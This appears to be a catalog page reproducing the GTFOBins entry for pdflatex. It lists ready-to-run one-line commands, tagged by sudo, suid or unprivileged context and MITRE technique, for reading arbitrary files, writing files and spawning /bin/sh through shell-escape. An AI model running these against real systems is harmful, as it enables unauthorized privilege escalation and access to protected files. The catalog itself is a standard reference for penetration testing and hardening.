DΛΣMӨП

Catalog GTFOBins

GTFO · Tool

pdflatex

9 techniques LinuxGTFOBins GPL-3.0

file-read

File ReadPrivilege Escalation Linux

The read file will be part of the PDF output.

pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}'
pdftotext texput.pdf -
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege Escalation Linux

The read file will be part of the PDF output.

pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}'
pdftotext texput.pdf -
Context
suid
Native
file-read
MITRE
T1005

file-read

File Read Linux

The read file will be part of the PDF output.

pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}'
pdftotext texput.pdf -
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege Escalation Linux

The file can only be written in the current directory, and the `.tex` extension is mandatory.

pdflatex '\documentclass{article}\newwrite\tempfile\begin{document}\immediate\openout\tempfile=output-file.tex\immediate\write\tempfile{DATA}\immediate\closeout\tempfile\end{document}'
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege Escalation Linux

The file can only be written in the current directory, and the `.tex` extension is mandatory.

pdflatex '\documentclass{article}\newwrite\tempfile\begin{document}\immediate\openout\tempfile=output-file.tex\immediate\write\tempfile{DATA}\immediate\closeout\tempfile\end{document}'
Context
suid
Native
file-write
MITRE
T1565

file-write

File Write Linux

The file can only be written in the current directory, and the `.tex` extension is mandatory.

pdflatex '\documentclass{article}\newwrite\tempfile\begin{document}\immediate\openout\tempfile=output-file.tex\immediate\write\tempfile{DATA}\immediate\closeout\tempfile\end{document}'
Context
unprivileged
Native
file-write
MITRE
T1565

shell

ExecutionPrivilege Escalation Linux 
pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation Linux 
pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
Context
suid
Native
shell
MITRE
T1059

shell

Execution Linux 
pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
Context
unprivileged
Native
shell
MITRE
T1059